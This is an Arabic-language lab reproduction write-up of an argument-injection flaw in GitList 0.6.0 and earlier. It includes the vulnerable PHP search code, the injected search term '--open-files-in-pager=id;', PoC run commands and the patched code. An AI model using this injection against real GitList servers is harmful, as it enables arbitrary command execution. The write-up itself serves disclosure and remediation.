
GitList هو عارض مستودعات Git حديث.
في الإصدارات 0.6.0 وما دون من GitList، توجد ثغرة تتمثل في تمرير مدخلات لم يتم التحقق منها بشكل صحيح إلى دالة النظام، مما يسمح بتنفيذ أوامر عشوائية بصلاحيات مستخدم PHP.
لتشغيل خادم GitList 0.6.0، نفّذ الأمر التالي.
docker compose up -d
قبل تشغيل poc.py، ثبّت التبعيات.
pip install requests
عند اكتمال إعداد البيئة، انتقل إلى http://127.0.0.1:8080 وتأكد من وجود مستودع اختبار باسم example.
يستخدم GitList الأمر git grep عند البحث عن كود داخل المستودع.
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
هنا، يشير $query إلى كلمة البحث، ويشير $branch إلى الفرع المستهدف في البحث.
إذا مرّر المهاجم --open-files-in-pager=id; ككلمة بحث، فسيتم تنفيذ أمر id في النظام.
هناك سببان لهذه الثغرة:
escapeshellarg()من الناحية النظرية، عند المرور عبر الكود $query = escapeshellarg($query);، يصبح الإدخال سلسلة محاطة بعلامات اقتباس مفردة. ومع ذلك، تمنع escapeshellarg() الحقن من منظور الصدفة (shell) فقط، لكنها لا تمنع محلل الخيارات الخاص بـ git نفسه من تفسير سلسلة تبدأ بـ -- كخيار.
--open-files-in-pagerيحدد هذا الخيار في git grep البرنامج الخارجي للعرض (Pager) الذي يعرض نتائج البحث، وله خاصية تنفيذ القيمة المُمرَّرة إليه مباشرة كأمر نظام.
[repo_name]/tree/[keyword]/search) على معاملين: [repo_name] و [keyword].[repo_name] مستودعًا موجودًا في GitList، ويجب أن تكون [keyword] كلمة بحث تُنتج نتيجة واحدة على الأقل.
(في هذا الاستنساخ، تم استخدام example كمستودع و a ككلمة بحث.)نفّذ poc.py عبر الأمر التالي.
يتسبب هذا السكربت في تنفيذ touch /tmp/success_dddo0، مما يؤدي إلى إنشاء ملف فارغ باسم success_dddo0 في دليل /tmp على الخادم.
python3 poc.py http://127.0.0.1:8080
بعد إرسال الطلب، تحقق مما إذا تم إنشاء success_dddo0 بنجاح عبر الأمر التالي.
docker compose exec web ls -l /tmp/success_dddo0
بعد تشغيل PoC، يمكن التحقق من أن أمر نظام عشوائي (touch /tmp/success_dddo0) قد تم تنفيذه بنجاح داخل الخادم، مما أدى إلى إنشاء الملف.

docker compose down
يجب تحديث GitList إلى أحدث إصدار.
تعديلات الكود:
public function searchTree($query, $branch)
{
if (empty($query)) {
return null;
}
$query = preg_replace('/(--?[A-Za-z0-9\-]+)/', '', $query);
$query = escapeshellarg($query);
try {
$results = $this->getClient()->run($this, "grep -i --line-number -- {$query} $branch");
} catch (\RuntimeException $e) {
return false;
}
في GitList، تمت معالجة هذه الثغرة باستخدام تعبير نمطي لإزالة البادئات غير القانونية - من كلمة البحث ($query)، وإضافة -- (وهو المعرّف الذي يشير إلى نهاية الخيارات) إلى أمر git grep، مما يُجبر النظام على التعامل مع جميع المدخلات اللاحقة كسلاسل نصية عادية (كلمات بحث) وليس كخيارات أوامر.